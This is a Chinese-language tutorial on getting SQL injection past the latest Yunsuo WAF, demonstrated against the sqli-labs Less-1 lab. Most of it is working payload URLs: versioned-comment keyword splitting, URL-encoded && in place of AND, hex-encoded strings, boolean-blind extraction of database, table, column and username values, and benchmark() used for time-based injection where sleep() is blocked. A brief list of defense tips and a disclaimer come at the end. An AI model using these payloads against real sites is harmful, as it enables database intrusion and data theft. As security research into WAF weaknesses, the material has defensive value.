云锁最新版SQL注入WAF绕过
字数 1002 2025-08-20 18:17:53
云锁最新版SQL注入WAF绕过技术详解
前言
本文基于星盟安全团队对云锁最新版WAF的SQL注入绕过技术研究,使用sqli-labs第一关字符型注入作为测试环境,详细分析各种绕过技术。
基础绕过技术
1. AND逻辑判断绕过
被拦截语句:
and 1=1
绕过方法:
- 使用URL编码的
%26%26代替and 1=1可以用True表示1=2可以用False表示
示例:
?id=1' %26%26 True --+
2. ORDER BY绕过
被拦截语句:
order by
绕过方法:
使用MySQL注释语法/*!60000自定义字符串*/插入关键字中间
示例:
order/*!60000ghtwf01*/by
3. UNION SELECT绕过
被拦截语句:
union select
绕过方法:
与ORDER BY类似,使用注释分割关键字
示例:
union/*!60000ghtwf01*/select
高级查询技术
1. 数据库名查询
限制条件:
group_concat()被过滤select与from的结合被限制
绕过方法:
使用/*!00000select*/代替select
示例URL:
http://192.168.0.7/sqli/Less-1/?id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,schema_name from information_schema.schemata limit 0,1--+
2. 表名查询
技巧:
- 使用十六进制编码代替字符串值
security的十六进制为0x7365637572697479
示例URL:
http://192.168.0.7/sqli/Less-1/?id=0' union/*!60000ghtwf01*//*!00000select*/ 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+
盲注技术
1. 布尔盲注
数据库名长度检测
http://192.168.0.7/sqli/Less-1/?id=1' %26%26 length(database/**/())=8 --+
数据库名首字母检测
http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (ascii(substr((/*!00000select*/ schema_name from information_schema.schemata limit 0,1),1,1))=105) --+
表名首字母检测(十六进制)
http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=65) --+
列名首字母检测
http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ column_name from information_schema.columns where table_schema=0x7365637572697479 %26%26 table_name=0x7573657273 limit 0,1),1,1))=69) --+
字段值检测
http://192.168.0.7/sqli/Less-1/?id=1' %26%26 (hex(substr((/*!00000select*/ username from users limit 0,1),1,1))=44) --+
2. 时间盲注
限制条件:
sleep()函数被过滤
绕过方法:
使用benchmark()函数替代
示例结构:
?id=1' %26%26 (IF(条件, benchmark(10000000,md5('a')), 0)) --+
关键技巧总结
-
运算符替代:
%26%26替代andTrue/False替代1=1/1=2
-
关键字分割:
- 使用
/*!60000自定义*/分割SQL关键字 - 如:
union/*!60000xxx*/select
- 使用
-
SELECT绕过:
/*!00000select*/替代select
-
字符串编码:
- 使用十六进制编码替代字符串值
- 如:
security→0x7365637572697479
-
函数替代:
benchmark()替代被过滤的sleep()
-
空白符处理:
- 使用
/**/作为空白符替代
- 使用
防御建议
- 对注释中的特殊语法进行过滤
- 检查URL编码的运算符
- 限制information_schema的访问
- 对十六进制编码的字符串进行识别
- 监控benchmark等替代函数的使用
以上技术仅用于安全研究,请勿用于非法用途。